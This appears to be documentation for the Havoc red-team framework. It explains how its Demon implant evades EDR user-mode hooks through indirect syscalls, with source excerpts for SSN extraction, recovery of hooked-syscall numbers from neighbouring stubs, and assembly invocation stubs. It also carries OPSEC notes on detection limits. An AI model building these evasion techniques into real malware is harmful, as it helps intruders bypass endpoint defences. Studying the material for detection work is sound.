Documentation Index Fetch the complete documentation index at: https://mintlify.com/HavocFramework/Havoc/llms.txt
Use this file to discover all available pages before exploring further.
Overview
Havoc implements indirect syscalls to evade user-mode hooks placed by EDRs and security products. Instead of calling syscall instructions directly from hooked NTDLL functions, Havoc extracts the syscall instruction address from a clean function and invokes it indirectly.
Indirect syscalls bypass user-mode hooks by avoiding hooked function prologues while still using legitimate syscall instructions from NTDLL.
How It Works
During initialization, Havoc extracts two critical pieces of information from NTDLL:
System Service Number (SSN) : The syscall number for each NT function
Syscall Instruction Address : Location of a clean syscall instruction
Source : payloads/Demon/src/core/Syscalls.c:12
BOOL SysInitialize (IN PVOID Ntdll ) {
PVOID SysNativeFunc = NULL ;
PVOID SysIndirectAddr = NULL ;
// Resolve syscall instruction from dummy NT function
if ((SysNativeFunc = LdrFunctionAddr (Ntdll, H_FUNC_NTADDBOOTENTRY))) {
// Extract the address of the syscall instruction
SysExtract (SysNativeFunc, TRUE , NULL , & SysIndirectAddr);
if (SysIndirectAddr) {
Instance -> Syscall . SysAddress = SysIndirectAddr;
}
}
}
The SysExtract function parses NTDLL function stubs to extract SSNs:
Source : payloads/Demon/src/core/Syscalls.c:90
BOOL SysExtract (IN PVOID Function , IN BOOL ResolveHooked ,
OUT PWORD Ssn , OUT PVOID * SysAddr ) {
// Look for the pattern:
// mov r10, rcx (4C 8B D1)
// mov eax, [ssn] (B8 XX XX XX XX)
if ( DREF_U8 (Function + Offset + 0x 0 ) == 0x 4C &&
DREF_U8 (Function + Offset + 0x 1 ) == 0x 8B &&
DREF_U8 (Function + Offset + 0x 2 ) == 0x D1 &&
DREF_U8 (Function + Offset + 0x 3 ) == 0x B8 ) {
// Extract SSN from bytes 4 and 5
SsnLow = DREF_U8 (Function + Offset + SSN_OFFSET_1);
SsnHigh = DREF_U8 (Function + Offset + SSN_OFFSET_2);
* Ssn = (SsnHigh << 0x 08 ) | SsnLow;
}
}
Hook Detection & Evasion
If a function is hooked, Havoc uses neighboring syscalls to calculate the correct SSN:
Source : payloads/Demon/src/core/Syscalls.c:201
BOOL FindSsnOfHookedSyscall (IN PVOID Function , OUT PWORD Ssn ) {
UINT32 SyscallSize = GetSyscallSize ();
for (UINT32 i = 1 ; i < 500 ; ++ i) {
// Try syscall above ours
NeighbourSyscall = C_PTR ( U_PTR (Function) + (SyscallSize * i));
if ( SysExtract (NeighbourSyscall, FALSE , & NeighbourSsn, NULL )) {
* Ssn = NeighbourSsn - i; // Calculate our SSN
return TRUE ;
}
// Try syscall below ours
NeighbourSyscall = C_PTR ( U_PTR (Function) - (SyscallSize * i));
if ( SysExtract (NeighbourSyscall, FALSE , & NeighbourSsn, NULL )) {
* Ssn = NeighbourSsn + i; // Calculate our SSN
return TRUE ;
}
}
}
This technique assumes syscall numbers are incremental. On older Windows versions or with significant NTDLL modifications, this may fail.
Assembly Implementation
The actual syscall invocation is performed in assembly:
Source : payloads/Demon/src/asm/Syscall.x64.asm
SysSetConfig:
mov r11 , rcx ; Store syscall config pointer in r11
ret
SysInvoke:
mov r10 , rcx ; First argument (standard syscall convention)
mov eax , [ r11 + 0x8 ] ; Load SSN from config into eax
jmp QWORD [ r11 ] ; Jump to clean syscall instruction
ret
Execution Flow
Configuration : SysSetConfig stores the syscall configuration (SSN + instruction address)
Invocation : SysInvoke loads the SSN and jumps to the clean syscall instruction
Execution : The CPU executes the syscall using the correct SSN
Return : Execution returns to Havoc code
Supported Syscalls
Havoc extracts SSNs for the following NT functions during initialization:
Source : payloads/Demon/src/core/Syscalls.c:43
SYS_EXTRACT (NtOpenThread)
SYS_EXTRACT (NtOpenThreadToken)
SYS_EXTRACT (NtOpenProcess)
SYS_EXTRACT (NtTerminateProcess)
SYS_EXTRACT (NtOpenProcessToken)
SYS_EXTRACT (NtDuplicateToken)
SYS_EXTRACT (NtQueueApcThread)
SYS_EXTRACT (NtSuspendThread)
SYS_EXTRACT (NtResumeThread)
SYS_EXTRACT (NtCreateEvent)
SYS_EXTRACT (NtCreateThreadEx)
SYS_EXTRACT (NtDuplicateObject)
SYS_EXTRACT (NtGetContextThread)
SYS_EXTRACT (NtSetContextThread)
SYS_EXTRACT (NtQueryInformationProcess)
SYS_EXTRACT (NtQuerySystemInformation)
SYS_EXTRACT (NtWaitForSingleObject)
SYS_EXTRACT (NtAllocateVirtualMemory)
SYS_EXTRACT (NtWriteVirtualMemory)
SYS_EXTRACT (NtReadVirtualMemory)
SYS_EXTRACT (NtFreeVirtualMemory)
SYS_EXTRACT (NtUnmapViewOfSection)
SYS_EXTRACT (NtProtectVirtualMemory)
SYS_EXTRACT (NtTerminateThread)
SYS_EXTRACT (NtAlertResumeThread)
SYS_EXTRACT (NtSignalAndWaitForSingleObject)
SYS_EXTRACT (NtQueryVirtualMemory)
SYS_EXTRACT (NtQueryInformationToken)
SYS_EXTRACT (NtQueryInformationThread)
SYS_EXTRACT (NtQueryObject)
SYS_EXTRACT (NtClose)
SYS_EXTRACT (NtSetEvent)
SYS_EXTRACT (NtSetInformationThread)
SYS_EXTRACT (NtSetInformationVirtualMemory)
SYS_EXTRACT (NtGetNextThread)
EDR Evasion Benefits
Bypasses User-Mode Hooks
EDRs typically hook NTDLL functions by modifying the first few bytes:
Hooked NtAllocateVirtualMemory:
jmp hook_handler ; Jump to EDR code
Clean NtAllocateVirtualMemory:
mov r10, rcx ; Original code
mov eax, 0x18 ; SSN
syscall ; Execute
Havoc’s indirect syscalls skip the hooked prologue entirely.
Kernel Callback Visibility
While indirect syscalls bypass user-mode hooks, they do NOT evade kernel-mode callbacks. EDRs using kernel drivers can still detect these syscalls via:
PsSetCreateProcessNotifyRoutine
PsSetCreateThreadNotifyRoutine
ObRegisterCallbacks
Kernel ETW providers
OPSEC Considerations
Memory Scanning : The syscall configuration stored in memory may be detected
Call Stack Analysis : Stack traces will show unusual call patterns
Telemetry : Kernel callbacks still fire for all operations
Thread Context : Some EDRs inspect thread start addresses and call stacks
Token Management - Uses indirect syscalls for token operations
.NET Execution - Combines with AMSI bypass
Stack spoofing for return address manipulation
References
Syscall extraction: payloads/Demon/src/core/Syscalls.c
Assembly stubs: payloads/Demon/src/asm/Syscall.x64.asm
Configuration: payloads/Demon/include/core/Syscalls.h